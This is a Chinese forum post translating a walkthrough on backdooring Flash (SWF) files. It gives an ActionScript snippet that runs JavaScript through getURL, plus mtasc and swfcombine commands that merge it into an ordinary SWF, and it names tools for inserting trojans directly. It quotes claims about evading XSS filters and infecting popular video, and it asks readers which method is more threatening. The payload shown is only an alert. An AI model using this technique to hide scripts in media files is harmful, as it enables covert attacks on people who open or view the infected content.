flash插马技术

最近在国外网站上看到一篇关于Backdooring Flash Objects (the walkthrough)的文章，翻译测试了一下 先将 class Backdoor { function Backdoor() { } static function main(mc) { getURL("javascript:alert('hello from backdoor')"); } } 作为初始脚本，写入记事本，保存为backdoor.as，然后用软件将其编译为backdoor.swf文件。 将事先准备好的正常的一段flash用合并器将其与backdoor.swf结合生成含有此脚本的swf文件。 c:\Mtasc\mtasc.exe -swf backdoor.swf -main -header 500:365:24 backdoor.as c:\Swftools\swfcombine.exe -o 1_backdoored.swf -T backdoor.swf 1.swf 这样执行1_backdoored.swf 。测试了一下，会闪过一个新打开的IE窗口，闪过弹出的对话框，不过速度很快。 国内的我看了下用工具直接插入木马 比如臭要饭的Icode to SWF   Flash插马器，类似的直接插入工具很多，这是两种不同的方法， 国外的方法提出优势如下，原文： First of all, wrapping your malicious code inside flash files will bypass all XSS filtering systems, simply becouse they don’t understand how to read SWF files not to mention that even if they know how to do that, it would be highly inefficient approach. The second thing is that attackers are able to infect popular video, audio and interactive material and spread it on the web. This approach can be quite easily defined as viral infection. The next time you visit youtube.com or video.google.com beware that what you see might not be what you get. Sneeky JavaScript code can scan your internal LAN, hack into your WIFI router and enable the admin interface on the Internet side so attackers have direct access to you, your personal details and your bank account numbers. I don’t want to cover DDOS attacks because it is getting scary. 想请大家探讨一下哪种方法效果更好、更有威胁性些。原文出处：http://www.gnucitizen.org/blog/backdooring-flash-objects/ 软件下载地址： http://www.mtasc.org/#download   Windows precompiled binary, zipped : mtasc-1.12.zip 解压缩后cmd下使用 http://www.swftools.org/download.html Windows Version (Binaries): swftools-0.7.0.exe     安装后目录下有swfcombine.exe,cmd下使用